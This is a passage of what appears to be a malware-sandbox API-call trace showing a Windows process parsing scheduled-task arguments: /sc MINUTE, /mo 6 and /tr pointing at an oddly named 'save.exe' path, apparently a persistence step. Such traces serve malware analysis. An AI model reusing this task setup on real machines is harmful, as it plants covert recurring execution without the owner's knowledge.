_BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|?|") returned 3 [0157.048] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|sc|") returned 4 [0157.048] lstrlenW (lpString="|?|") returned 3 [0157.048] lstrlenW (lpString="|sc|") returned 4 [0157.048] SetLastError (dwErrCode=0x490) [0157.048] lstrlenW (lpString="s") returned 1 [0157.048] lstrlenW (lpString="s") returned 1 [0157.048] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.048] lstrlenW (lpString="sc") returned 2 [0157.048] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.048] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|s|") returned 3 [0157.048] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|sc|") returned 4 [0157.048] lstrlenW (lpString="|s|") returned 3 [0157.048] lstrlenW (lpString="|sc|") returned 4 [0157.048] SetLastError (dwErrCode=0x490) [0157.048] lstrlenW (lpString="u") returned 1 [0157.048] lstrlenW (lpString="u") returned 1 [0157.048] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.048] lstrlenW (lpString="sc") returned 2 [0157.048] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.048] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|u|") returned 3 [0157.048] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|sc|") returned 4 [0157.048] lstrlenW (lpString="|u|") returned 3 [0157.048] lstrlenW (lpString="|sc|") returned 4 [0157.048] SetLastError (dwErrCode=0x490) [0157.048] lstrlenW (lpString="p") returned 1 [0157.049] lstrlenW (lpString="p") returned 1 [0157.049] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.049] lstrlenW (lpString="sc") returned 2 [0157.049] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.049] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|p|") returned 3 [0157.049] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|sc|") returned 4 [0157.049] lstrlenW (lpString="|p|") returned 3 [0157.049] lstrlenW (lpString="|sc|") returned 4 [0157.049] SetLastError (dwErrCode=0x490) [0157.049] lstrlenW (lpString="ru") returned 2 [0157.049] lstrlenW (lpString="ru") returned 2 [0157.049] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.049] lstrlenW (lpString="sc") returned 2 [0157.049] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.049] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|ru|") returned 4 [0157.049] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|sc|") returned 4 [0157.049] lstrlenW (lpString="|ru|") returned 4 [0157.049] lstrlenW (lpString="|sc|") returned 4 [0157.049] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0157.049] SetLastError (dwErrCode=0x490) [0157.049] lstrlenW (lpString="rp") returned 2 [0157.049] lstrlenW (lpString="rp") returned 2 [0157.049] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.049] lstrlenW (lpString="sc") returned 2 [0157.049] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.049] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|rp|") returned 4 [0157.049] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|sc|") returned 4 [0157.049] lstrlenW (lpString="|rp|") returned 4 [0157.049] lstrlenW (lpString="|sc|") returned 4 [0157.049] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0157.049] SetLastError (dwErrCode=0x490) [0157.049] lstrlenW (lpString="sc") returned 2 [0157.049] lstrlenW (lpString="sc") returned 2 [0157.050] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.050] lstrlenW (lpString="sc") returned 2 [0157.050] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.050] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|sc|") returned 4 [0157.050] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|sc|") returned 4 [0157.050] lstrlenW (lpString="|sc|") returned 4 [0157.050] lstrlenW (lpString="|sc|") returned 4 [0157.050] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0157.050] SetLastError (dwErrCode=0x0) [0157.050] SetLastError (dwErrCode=0x0) [0157.050] lstrlenW (lpString="MINUTE") returned 6 [0157.050] lstrlenW (lpString="-/") returned 2 [0157.050] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0157.050] SetLastError (dwErrCode=0x490) [0157.050] SetLastError (dwErrCode=0x490) [0157.050] SetLastError (dwErrCode=0x0) [0157.050] lstrlenW (lpString="MINUTE") returned 6 [0157.050] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0157.050] SetLastError (dwErrCode=0x490) [0157.050] SetLastError (dwErrCode=0x0) [0157.050] GetProcessHeap () returned 0x230000 [0157.050] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24d580 [0157.050] _memicmp (_Buf1=0x24d580, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.050] lstrlenW (lpString="MINUTE") returned 6 [0157.050] GetProcessHeap () returned 0x230000 [0157.050] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xe) returned 0x24d5a0 [0157.050] lstrlenW (lpString="MINUTE") returned 6 [0157.050] lstrlenW (lpString=" \x09") returned 2 [0157.050] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0157.050] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0157.050] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0157.050] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0157.050] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0157.050] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0157.050] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0157.051] GetLastError () returned 0x0 [0157.051] lstrlenW (lpString="MINUTE") returned 6 [0157.051] lstrlenW (lpString="MINUTE") returned 6 [0157.051] SetLastError (dwErrCode=0x0) [0157.051] SetLastError (dwErrCode=0x0) [0157.051] lstrlenW (lpString="/mo") returned 3 [0157.051] lstrlenW (lpString="-/") returned 2 [0157.051] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.051] lstrlenW (lpString="create") returned 6 [0157.051] lstrlenW (lpString="create") returned 6 [0157.051] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.051] lstrlenW (lpString="mo") returned 2 [0157.051] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.051] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|create|") returned 8 [0157.051] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|mo|") returned 4 [0157.051] lstrlenW (lpString="|create|") returned 8 [0157.051] lstrlenW (lpString="|mo|") returned 4 [0157.051] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0157.051] SetLastError (dwErrCode=0x490) [0157.051] lstrlenW (lpString="?") returned 1 [0157.051] lstrlenW (lpString="?") returned 1 [0157.051] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.051] lstrlenW (lpString="mo") returned 2 [0157.051] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.051] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|?|") returned 3 [0157.051] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|mo|") returned 4 [0157.051] lstrlenW (lpString="|?|") returned 3 [0157.051] lstrlenW (lpString="|mo|") returned 4 [0157.051] SetLastError (dwErrCode=0x490) [0157.051] lstrlenW (lpString="s") returned 1 [0157.052] lstrlenW (lpString="s") returned 1 [0157.052] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.052] lstrlenW (lpString="mo") returned 2 [0157.052] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.052] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|s|") returned 3 [0157.052] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|mo|") returned 4 [0157.052] lstrlenW (lpString="|s|") returned 3 [0157.052] lstrlenW (lpString="|mo|") returned 4 [0157.052] SetLastError (dwErrCode=0x490) [0157.052] lstrlenW (lpString="u") returned 1 [0157.052] lstrlenW (lpString="u") returned 1 [0157.052] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.052] lstrlenW (lpString="mo") returned 2 [0157.052] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.052] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|u|") returned 3 [0157.052] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|mo|") returned 4 [0157.052] lstrlenW (lpString="|u|") returned 3 [0157.052] lstrlenW (lpString="|mo|") returned 4 [0157.052] SetLastError (dwErrCode=0x490) [0157.052] lstrlenW (lpString="p") returned 1 [0157.052] lstrlenW (lpString="p") returned 1 [0157.052] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.052] lstrlenW (lpString="mo") returned 2 [0157.052] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.052] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|p|") returned 3 [0157.052] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|mo|") returned 4 [0157.052] lstrlenW (lpString="|p|") returned 3 [0157.052] lstrlenW (lpString="|mo|") returned 4 [0157.052] SetLastError (dwErrCode=0x490) [0157.052] lstrlenW (lpString="ru") returned 2 [0157.052] lstrlenW (lpString="ru") returned 2 [0157.052] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.052] lstrlenW (lpString="mo") returned 2 [0157.053] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.053] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|ru|") returned 4 [0157.053] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|mo|") returned 4 [0157.053] lstrlenW (lpString="|ru|") returned 4 [0157.053] lstrlenW (lpString="|mo|") returned 4 [0157.053] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0157.053] SetLastError (dwErrCode=0x490) [0157.053] lstrlenW (lpString="rp") returned 2 [0157.053] lstrlenW (lpString="rp") returned 2 [0157.053] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.053] lstrlenW (lpString="mo") returned 2 [0157.053] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.053] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|rp|") returned 4 [0157.053] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|mo|") returned 4 [0157.053] lstrlenW (lpString="|rp|") returned 4 [0157.053] lstrlenW (lpString="|mo|") returned 4 [0157.053] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0157.053] SetLastError (dwErrCode=0x490) [0157.053] lstrlenW (lpString="sc") returned 2 [0157.053] lstrlenW (lpString="sc") returned 2 [0157.053] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.053] lstrlenW (lpString="mo") returned 2 [0157.053] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.053] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|sc|") returned 4 [0157.053] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|mo|") returned 4 [0157.053] lstrlenW (lpString="|sc|") returned 4 [0157.053] lstrlenW (lpString="|mo|") returned 4 [0157.053] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0157.053] SetLastError (dwErrCode=0x490) [0157.053] lstrlenW (lpString="mo") returned 2 [0157.053] lstrlenW (lpString="mo") returned 2 [0157.053] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.054] lstrlenW (lpString="mo") returned 2 [0157.054] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.054] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|mo|") returned 4 [0157.054] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|mo|") returned 4 [0157.054] lstrlenW (lpString="|mo|") returned 4 [0157.054] lstrlenW (lpString="|mo|") returned 4 [0157.054] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0157.054] SetLastError (dwErrCode=0x0) [0157.054] SetLastError (dwErrCode=0x0) [0157.054] lstrlenW (lpString="6") returned 1 [0157.054] SetLastError (dwErrCode=0x490) [0157.054] SetLastError (dwErrCode=0x0) [0157.054] lstrlenW (lpString="6") returned 1 [0157.054] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0157.054] SetLastError (dwErrCode=0x490) [0157.054] SetLastError (dwErrCode=0x0) [0157.054] _memicmp (_Buf1=0x24d580, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.054] lstrlenW (lpString="6") returned 1 [0157.054] lstrlenW (lpString="6") returned 1 [0157.054] lstrlenW (lpString=" \x09") returned 2 [0157.054] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0157.054] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0157.054] GetLastError () returned 0x0 [0157.054] lstrlenW (lpString="6") returned 1 [0157.054] lstrlenW (lpString="6") returned 1 [0157.054] GetProcessHeap () returned 0x230000 [0157.054] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x4) returned 0x24b9b0 [0157.054] SetLastError (dwErrCode=0x0) [0157.054] SetLastError (dwErrCode=0x0) [0157.054] lstrlenW (lpString="/tr") returned 3 [0157.054] lstrlenW (lpString="-/") returned 2 [0157.054] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.054] lstrlenW (lpString="create") returned 6 [0157.054] lstrlenW (lpString="create") returned 6 [0157.054] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.054] lstrlenW (lpString="tr") returned 2 [0157.054] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.055] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|create|") returned 8 [0157.055] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tr|") returned 4 [0157.055] lstrlenW (lpString="|create|") returned 8 [0157.055] lstrlenW (lpString="|tr|") returned 4 [0157.055] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0157.055] SetLastError (dwErrCode=0x490) [0157.055] lstrlenW (lpString="?") returned 1 [0157.055] lstrlenW (lpString="?") returned 1 [0157.055] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.055] lstrlenW (lpString="tr") returned 2 [0157.055] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.055] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|?|") returned 3 [0157.055] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tr|") returned 4 [0157.055] lstrlenW (lpString="|?|") returned 3 [0157.055] lstrlenW (lpString="|tr|") returned 4 [0157.055] SetLastError (dwErrCode=0x490) [0157.055] lstrlenW (lpString="s") returned 1 [0157.055] lstrlenW (lpString="s") returned 1 [0157.055] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.055] lstrlenW (lpString="tr") returned 2 [0157.055] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.055] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|s|") returned 3 [0157.055] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tr|") returned 4 [0157.055] lstrlenW (lpString="|s|") returned 3 [0157.055] lstrlenW (lpString="|tr|") returned 4 [0157.055] SetLastError (dwErrCode=0x490) [0157.055] lstrlenW (lpString="u") returned 1 [0157.055] lstrlenW (lpString="u") returned 1 [0157.055] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.055] lstrlenW (lpString="tr") returned 2 [0157.055] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.055] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|u|") returned 3 [0157.056] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tr|") returned 4 [0157.056] lstrlenW (lpString="|u|") returned 3 [0157.056] lstrlenW (lpString="|tr|") returned 4 [0157.056] SetLastError (dwErrCode=0x490) [0157.056] lstrlenW (lpString="p") returned 1 [0157.056] lstrlenW (lpString="p") returned 1 [0157.056] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.056] lstrlenW (lpString="tr") returned 2 [0157.056] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.056] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|p|") returned 3 [0157.056] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tr|") returned 4 [0157.056] lstrlenW (lpString="|p|") returned 3 [0157.056] lstrlenW (lpString="|tr|") returned 4 [0157.056] SetLastError (dwErrCode=0x490) [0157.056] lstrlenW (lpString="ru") returned 2 [0157.056] lstrlenW (lpString="ru") returned 2 [0157.056] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.056] lstrlenW (lpString="tr") returned 2 [0157.056] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.056] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|ru|") returned 4 [0157.056] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tr|") returned 4 [0157.056] lstrlenW (lpString="|ru|") returned 4 [0157.056] lstrlenW (lpString="|tr|") returned 4 [0157.056] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0157.056] SetLastError (dwErrCode=0x490) [0157.056] lstrlenW (lpString="rp") returned 2 [0157.056] lstrlenW (lpString="rp") returned 2 [0157.056] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.056] lstrlenW (lpString="tr") returned 2 [0157.056] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.056] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|rp|") returned 4 [0157.056] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tr|") returned 4 [0157.056] lstrlenW (lpString="|rp|") returned 4 [0157.057] lstrlenW (lpString="|tr|") returned 4 [0157.057] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0157.057] SetLastError (dwErrCode=0x490) [0157.057] lstrlenW (lpString="sc") returned 2 [0157.057] lstrlenW (lpString="sc") returned 2 [0157.057] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.057] lstrlenW (lpString="tr") returned 2 [0157.057] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.057] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|sc|") returned 4 [0157.057] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tr|") returned 4 [0157.057] lstrlenW (lpString="|sc|") returned 4 [0157.057] lstrlenW (lpString="|tr|") returned 4 [0157.057] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0157.057] SetLastError (dwErrCode=0x490) [0157.057] lstrlenW (lpString="mo") returned 2 [0157.057] lstrlenW (lpString="mo") returned 2 [0157.057] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.057] lstrlenW (lpString="tr") returned 2 [0157.057] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.057] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|mo|") returned 4 [0157.057] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tr|") returned 4 [0157.057] lstrlenW (lpString="|mo|") returned 4 [0157.057] lstrlenW (lpString="|tr|") returned 4 [0157.057] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0157.057] SetLastError (dwErrCode=0x490) [0157.057] lstrlenW (lpString="d") returned 1 [0157.057] lstrlenW (lpString="d") returned 1 [0157.057] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.057] lstrlenW (lpString="tr") returned 2 [0157.057] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.057] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|d|") returned 3 [0157.057] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tr|") returned 4 [0157.057] lstrlenW (lpString="|d|") returned 3 [0157.058] lstrlenW (lpString="|tr|") returned 4 [0157.058] SetLastError (dwErrCode=0x490) [0157.058] lstrlenW (lpString="m") returned 1 [0157.058] lstrlenW (lpString="m") returned 1 [0157.058] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.058] lstrlenW (lpString="tr") returned 2 [0157.058] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.058] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|m|") returned 3 [0157.058] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tr|") returned 4 [0157.058] lstrlenW (lpString="|m|") returned 3 [0157.058] lstrlenW (lpString="|tr|") returned 4 [0157.058] SetLastError (dwErrCode=0x490) [0157.058] lstrlenW (lpString="i") returned 1 [0157.058] lstrlenW (lpString="i") returned 1 [0157.058] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.058] lstrlenW (lpString="tr") returned 2 [0157.058] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.058] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|i|") returned 3 [0157.058] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tr|") returned 4 [0157.058] lstrlenW (lpString="|i|") returned 3 [0157.058] lstrlenW (lpString="|tr|") returned 4 [0157.058] SetLastError (dwErrCode=0x490) [0157.058] lstrlenW (lpString="tn") returned 2 [0157.058] lstrlenW (lpString="tn") returned 2 [0157.058] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.058] lstrlenW (lpString="tr") returned 2 [0157.058] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.058] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tn|") returned 4 [0157.058] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tr|") returned 4 [0157.058] lstrlenW (lpString="|tn|") returned 4 [0157.058] lstrlenW (lpString="|tr|") returned 4 [0157.059] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0157.059] SetLastError (dwErrCode=0x490) [0157.059] lstrlenW (lpString="tr") returned 2 [0157.059] lstrlenW (lpString="tr") returned 2 [0157.059] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.059] lstrlenW (lpString="tr") returned 2 [0157.059] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.059] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tr|") returned 4 [0157.059] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tr|") returned 4 [0157.059] lstrlenW (lpString="|tr|") returned 4 [0157.059] lstrlenW (lpString="|tr|") returned 4 [0157.059] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0157.059] SetLastError (dwErrCode=0x0) [0157.059] SetLastError (dwErrCode=0x0) [0157.059] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.059] lstrlenW (lpString="-/") returned 2 [0157.059] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0157.059] SetLastError (dwErrCode=0x490) [0157.059] SetLastError (dwErrCode=0x490) [0157.059] SetLastError (dwErrCode=0x0) [0157.059] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.059] StrChrIW (lpStart="'C:\\comproviderRuntimecommon\\but inside save.exe'", 